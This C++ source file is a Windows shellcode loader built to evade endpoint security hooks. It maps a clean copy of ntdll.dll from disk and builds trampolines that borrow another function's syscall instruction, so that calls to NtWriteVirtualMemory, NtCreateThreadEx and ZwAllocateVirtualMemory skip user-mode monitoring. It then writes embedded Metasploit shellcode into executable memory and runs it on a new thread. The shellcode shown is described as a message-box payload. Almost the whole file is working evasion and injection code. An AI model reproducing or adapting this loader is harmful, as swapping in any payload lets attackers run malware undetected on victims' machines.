#define _CRT_SECURE_NO_WARNINGS

#include <iostream>
#include <windows.h>
#include <psapi.h>

typedef struct _PS_ATTRIBUTE {
    ULONG Attribute;
    SIZE_T Size;
    union {
        ULONG Value;
        PVOID ValuePtr;
    } u1;
    PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _UNICODE_STRING {
    USHORT Length;
    USHORT MaximumLength;
    PWSTR Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES {
    ULONG Length;
    HANDLE RootDirectory;
    PUNICODE_STRING ObjectName;
    ULONG Attributes;
    PVOID SecurityDescriptor;
    PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _PS_ATTRIBUTE_LIST {
    SIZE_T TotalLength;
    PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

using pNtWriteVirtualMemory = BOOL(NTAPI*)(HANDLE ProcessHandle,
    PVOID BaseAddress,
    PVOID Buffer,
    ULONG NumberOfBytesToWrite,
    PULONG NumberOfBytesWritten);

using pNtCreateThreadEx = NTSTATUS(NTAPI*)(PHANDLE ThreadHandle,
    ACCESS_MASK DesiredAccess,
    POBJECT_ATTRIBUTES ObjectAttributes,
    HANDLE ProcessHandle,
    PVOID StartRoutine,
    PVOID Argument,
    ULONG CreateFlags,
    SIZE_T ZeroBits,
    SIZE_T StackSize,
    SIZE_T MaximumStackSize,
    PPS_ATTRIBUTE_LIST AttributeList);

using pZwAllocateVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle,
    PVOID* BaseAddress,
    ULONG ZeroBits,
    PSIZE_T RegionSize,
    ULONG AllocationType,
    ULONG Protect);

pNtWriteVirtualMemory NtWriteVirtualMemory = nullptr;
pNtCreateThreadEx NtCreateThreadEx = nullptr;
pZwAllocateVirtualMemory ZwAllocateVirtualMemory = nullptr;

PIMAGE_EXPORT_DIRECTORY GetExportDirectory(DWORD_PTR pImageBase);

bool CheckFunctionName(LPCSTR pFunctionName, const char* pNameToSearchFor, size_t nameToSearchForLength) {
    for (int i = 0; i < nameToSearchForLength; i++) {
        if (pFunctionName[i] != pNameToSearchFor[i]) {
            return false;
        }
    }
    return true;
}

LPVOID GetPointerToFunction(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase, const char* pNameToSearchFor, size_t nameToSearchForLength) {
    auto pAddressOfNames = (PDWORD)(pImageBase + *(&pExportDirectory->AddressOfNames));
    auto pAddressOfFunctions = (PDWORD)(pImageBase + *(&pExportDirectory->AddressOfFunctions));

    for (int i = 0; i < pExportDirectory->NumberOfNames; i++) {
        auto pExportName = pImageBase + pAddressOfNames[i];
        auto pExportFunction = pImageBase + pAddressOfFunctions[i + 1];

        if (CheckFunctionName((LPCSTR)pExportName, pNameToSearchFor, nameToSearchForLength)) {
            return (LPVOID)pExportFunction;
        }
    }
    return nullptr;
}

LPVOID GetMasqueradedSyscall() {
    auto hProcess = GetCurrentProcess();
    MODULEINFO moduleInfo;
    auto hNtdll = GetModuleHandleA("ntdll.dll");
    GetModuleInformation(hProcess, hNtdll, &moduleInfo, sizeof(moduleInfo));
    auto pImageBase = (DWORD_PTR)moduleInfo.lpBaseOfDll;
    auto pExportDirectory = GetExportDirectory(pImageBase);
    char funcName[] = { 'N', 't', 'A', 'd', 'd', 'B', 'o', 'o', 't', 'E', 'n', 't', 'r', 'y' };
    auto pMasqueradedSyscall = GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0]));

    CloseHandle(hProcess);
    return pMasqueradedSyscall;
}

LPVOID GetNtCreateThreadEx(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase) {
    char funcName[] = { 'N', 't', 'C', 'r', 'e', 'a', 't', 'e', 'T', 'h', 'r', 'e', 'a', 'd', 'E', 'x' };
    return GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0]));
}

LPVOID GetNtWriteVirtualMemory(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase) {
    char funcName[] = { 'N', 't', 'W', 'r', 'i', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y' };
    return GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0]));
}

LPVOID GetZwAllocateVirtualMemory(PIMAGE_EXPORT_DIRECTORY pExportDirectory, DWORD_PTR pImageBase) {
    char funcName[] = { 'Z', 'w', 'A', 'l', 'l', 'o', 'c', 'a', 't', 'e', 'V', 'i', 'r', 't', 'u', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y' };
    return GetPointerToFunction(pExportDirectory, pImageBase, funcName, sizeof(funcName) / sizeof(funcName[0]));
}

LPVOID CreateObfuscatedSyscall(LPVOID pOurSyscallFunction, LPVOID pMasqueradedFunction) {

    // Get the address of the syscall instruction
    auto syscallAddress = (char*)pMasqueradedFunction + 18;

    // Construct our trampoline, logic taken from here
    // https://github.com/bats3c/EvtMute/blob/master/EvtMute/EvtMuteHook/dllmain.cpp#L57
    unsigned char jumpPrelude[] = { 0x00, 0x49, 0xBB }; // mov r11
    unsigned char jumpAddress[] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF }; // Placeholder where the address goes
    *(void**)(jumpAddress) = syscallAddress; // Replace the address
    unsigned char jumpEpilogue[] = { 0x41, 0xFF, 0xE3, 0xC3 }; // jmp r11

    auto finalSyscall = VirtualAlloc(nullptr, 100, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    memcpy(finalSyscall, pOurSyscallFunction, 7);
    memcpy((LPVOID)((UINT_PTR)finalSyscall + 7), jumpPrelude, 3);
    memcpy((LPVOID)((UINT_PTR)finalSyscall + 7 + 3), jumpAddress, sizeof(jumpAddress));
    memcpy((LPVOID)((UINT_PTR)finalSyscall + 7 + 3 + 8), jumpEpilogue, 4);

    DWORD oldProtect = NULL;
    VirtualProtect(finalSyscall, 100, PAGE_EXECUTE_READ, &oldProtect);
    return finalSyscall;
}

void CreateObfuscatedSyscalls() {
    auto hNtdllFile = CreateFileA(R"(c:\windows\system32\ntdll.dll)", GENERIC_READ, FILE_SHARE_READ, nullptr, OPEN_EXISTING, 0, nullptr);
    auto hNtdllMapping = CreateFileMapping(hNtdllFile, nullptr, PAGE_READONLY | SEC_IMAGE, 0, 0, nullptr);
    auto pNtdllBase = (DWORD_PTR)MapViewOfFile(hNtdllMapping, FILE_MAP_READ, 0, 0, 0);
    auto pExportDirectory = GetExportDirectory(pNtdllBase);

    auto pMasqueradedSyscall = GetMasqueradedSyscall();
    auto pNtWriteVirtualMemoryStubFromDisk = GetNtWriteVirtualMemory(pExportDirectory, pNtdllBase);
    auto pNtCreateThreadExStubFromDisk = GetNtCreateThreadEx(pExportDirectory, pNtdllBase);
    auto pZwAllocateVirtualMemoryStubFromDisk = GetZwAllocateVirtualMemory(pExportDirectory, pNtdllBase);

    NtWriteVirtualMemory = (pNtWriteVirtualMemory)CreateObfuscatedSyscall(pNtWriteVirtualMemoryStubFromDisk, pMasqueradedSyscall);
    printf("[+] Obfuscated function created for NtWriteVirtualMemory \n > 0x%p\n", NtWriteVirtualMemory);

    NtCreateThreadEx = (pNtCreateThreadEx)CreateObfuscatedSyscall(pNtCreateThreadExStubFromDisk, pMasqueradedSyscall);
    printf("[+] Obfuscated function created for NtCreateThreadEx \n > 0x%p\n", NtCreateThreadEx);

    ZwAllocateVirtualMemory = (pZwAllocateVirtualMemory)CreateObfuscatedSyscall(pZwAllocateVirtualMemoryStubFromDisk, pMasqueradedSyscall);
    printf("[+] Obfuscated function created for ZwAllocateVirtualMemory \n > 0x%p\n", ZwAllocateVirtualMemory);

    CloseHandle(hNtdllFile);
    CloseHandle(hNtdllMapping);
}

PIMAGE_EXPORT_DIRECTORY GetExportDirectory(DWORD_PTR pImageBase) {
    auto pDosHeader = (PIMAGE_DOS_HEADER)pImageBase;
    auto pImageNtHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)pImageBase + pDosHeader->e_lfanew);
    auto exportDirRVA = pImageNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    return (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)pImageBase + exportDirRVA);
}

void PrintBytes(const char* pLocation) {
    int i;
    for (i = 0; i < 10; i++) {
        unsigned char c = (pLocation)[i];
        printf("%02x ", c);
    }
    printf("\n");
}

void CheckForHooks() {
    auto hNtdll = GetModuleHandleA("ntdll.dll");
    auto pNtCreateThreadExReal = GetProcAddress(hNtdll, "NtCreateThreadEx");
    auto pNtWriteVirtualMemoryReal = GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    auto pZwAllocateVirtualMemoryReal = GetProcAddress(hNtdll, "ZwAllocateVirtualMemory");

    // Check if the first byte is not as expected (e.g. if it's hooked to jmp elsewhere).
    if (((PBYTE)pNtCreateThreadExReal)[0] != 0x4c) {
        printf("[-] NtCreateThreadEx is being hooked!\n > ");
        PrintBytes((char*)pNtCreateThreadExReal);
    }
    if (((PBYTE)pNtWriteVirtualMemoryReal)[0] != 0x4c) {
        printf("[-] NtWriteVirtualMemory is being hooked!\n > ");
        PrintBytes((char*)pNtWriteVirtualMemoryReal);
    }
    if (((PBYTE)pZwAllocateVirtualMemoryReal)[0] != 0x4c) {
        printf("[-] ZwAllocateVirtualMemory is being hooked!\n > ");
        PrintBytes((char*)pZwAllocateVirtualMemoryReal);
    }
}

int main() {

    // MSF message box shellcode
    unsigned char shellcode[] = {
            0x54, 0x59, 0x48, 0xbb, 0x57, 0x2a, 0x60, 0x0b, 0xed, 0xcf, 0xd7, 0x71,
            0x66, 0x81, 0xe1, 0x00, 0xf7, 0x48, 0x31, 0xff, 0xdb, 0xc7, 0x40, 0xb7,
            0x23, 0x48, 0x0f, 0xae, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x4c, 0x8b, 0x39,
            0x48, 0xff, 0xcf, 0x49, 0x31, 0x5c, 0xff, 0x1d, 0x48, 0x85, 0xff, 0x75,
            0xf3, 0xab, 0x62, 0xe1, 0xef, 0x1d, 0x30, 0x28, 0x8e, 0xbf, 0xfa, 0x60,
            0x0b, 0xed, 0x8e, 0x86, 0x30, 0x07, 0x78, 0x31, 0x5d, 0xa5, 0xfe, 0x05,
            0x14, 0x1f, 0xa1, 0x32, 0x6b, 0xd3, 0x87, 0x5c, 0x23, 0x4f, 0x14, 0x28,
            0x80, 0xbf, 0xef, 0xe9, 0x39, 0xdc, 0x58, 0x30, 0x35, 0xa5, 0xc0, 0x60,
            0x3b, 0x1d, 0x67, 0x51, 0xc2, 0xa5, 0xfe, 0x17, 0xdd, 0x6b, 0x4b, 0x1c,
            0x09, 0xc1, 0xef, 0x96, 0xb0, 0x9e, 0x27, 0x21, 0x0a, 0x2c, 0x2d, 0x3a,
            0x23, 0x16, 0x7b, 0x5e, 0x43, 0x66, 0x9d, 0xf7, 0x4f, 0xdc, 0x68, 0x5c,
            0x43, 0xec, 0x1f, 0xe9, 0xfa, 0xd7, 0xa2, 0x60, 0x0b, 0xed, 0x87, 0x52,
            0xb1, 0x23, 0x45, 0x28, 0x0a, 0x3d, 0x9f, 0xe9, 0xfa, 0x1f, 0x32, 0x5e,
            0x4f, 0x66, 0x8f, 0xf7, 0x38, 0x56, 0xfa, 0x83, 0x57, 0xa5, 0x30, 0x1e,
            0x4f, 0x16, 0xa1, 0x54, 0x83, 0xa5, 0xce, 0x01, 0x3c, 0x66, 0xe3, 0x28,
            0x3a, 0x2d, 0x63, 0x96, 0xb0, 0x9e, 0x27, 0x21, 0x0a, 0x2c, 0xf7, 0x37,
            0x04, 0xa6, 0x14, 0x2c, 0x08, 0xa1, 0xeb, 0xdf, 0x34, 0x6e, 0xfb, 0x15,
            0xdd, 0xb5, 0xf1, 0x93, 0xfa, 0x17, 0x0e, 0x29, 0x0a, 0x3d, 0xa9, 0xe9,
            0x30, 0xdc, 0x26, 0x28, 0x35, 0xa9, 0x44, 0x97, 0x6d, 0x1e, 0x2b, 0xb0,
            0x35, 0xac, 0x44, 0xd3, 0xf9, 0x1f, 0x2b, 0xb0, 0x4a, 0xb5, 0x8e, 0x8f,
            0x2f, 0x0e, 0x70, 0x21, 0x53, 0xac, 0x96, 0x96, 0x2b, 0x1f, 0xa9, 0x8c,
            0x2b, 0xac, 0x9d, 0x28, 0x91, 0x0f, 0x6b, 0x39, 0x51, 0xd3, 0x87, 0x5c,
            0x63, 0xbe, 0x63, 0x9f, 0xf4, 0x12, 0x92, 0x9e, 0xb6, 0x96, 0x2a, 0x60,
            0x0b, 0xed, 0xf1, 0x9f, 0xfc, 0xc2, 0xd4, 0x60, 0x0b, 0xed, 0xf1, 0x9b,
            0xfc, 0xd2, 0x2a, 0x61, 0x0b, 0xed, 0x87, 0xe6, 0xb8, 0x16, 0x90, 0x25,
            0x88, 0xbb, 0xc8, 0x28, 0xa4, 0x1f, 0x1b, 0xa9, 0x4a, 0x57, 0x3f, 0x62,
            0xd3, 0x01, 0xd5, 0xb5, 0x53, 0xed, 0x82, 0xb2, 0x02, 0x24, 0x4b, 0x07,
            0x6e, 0xaf, 0xa0, 0xaf, 0x71, 0xc3
    };
    size_t shellcode_size = sizeof(shellcode);

#ifdef _DEBUG
    __debugbreak();
#endif

    // Debug function to just check for hooks and print
    CheckForHooks();

    // Create code stubs from ntdll on disk
    CreateObfuscatedSyscalls();

    if (ZwAllocateVirtualMemory != nullptr && NtCreateThreadEx != nullptr && NtWriteVirtualMemory != nullptr) {
        LPVOID alloc_loc = nullptr;

        auto hCurrentProcess = GetCurrentProcess();
        size_t allocated_size = shellcode_size;
        auto status = ZwAllocateVirtualMemory(hCurrentProcess, &alloc_loc, 0, &allocated_size, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (status) {
            auto lastError = GetLastError();
            printf("[-] ZwAllocateVirtualMemory Error\n > NTStatus: 0x%lx \n > Last error: 0x%lx\n", status, lastError);
            return -1;
        }
        printf("[+] ZwAllocateVirtualMemory\n > 0x%p\n", alloc_loc);

        ULONG bytesWritten;
        status = NtWriteVirtualMemory(hCurrentProcess, (LPVOID)alloc_loc, shellcode, shellcode_size, &bytesWritten);
        if (status) {
            auto lastError = GetLastError();
            printf("[-] NtWriteVirtualMemory Error\n > Bytes written: %ld\n > NTStatus: 0x%lx\n > Last error: 0x%lx\n", bytesWritten, status, lastError);
            return -1;
        }
        printf("[+] NtWriteVirtualMemory \n > 0x%p\n", alloc_loc);

        HANDLE hThread = nullptr;
        LoadLibraryA("user32.dll"); // Required for MSF MessageBox shellcode ONLY
        printf("[+] Calling NtCreateThreadEx \n > 0x%p\n", alloc_loc);
        status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, nullptr, hCurrentProcess, (LPVOID)alloc_loc, nullptr, FALSE, NULL, NULL, NULL, nullptr);
        if (status) {
            printf("[-] NtCreateThreadEx Error\n > NTStatus: 0x%lx \n > Last error: 0x%lx\n", status, GetLastError());
            return -1;
        }

        if (hThread) {
            printf("[+] Thread started - WaitForSingleObject initiated");
            WaitForSingleObject(hThread, INFINITE);
            CloseHandle(hThread);
        }
        else {
            printf("[-] Error starting thread using NtCreateThreadEx");
            CloseHandle(hCurrentProcess);
            return -1;
        }
        CloseHandle(hCurrentProcess);
    }
    else {
        return -1;
    }
    return 0;
}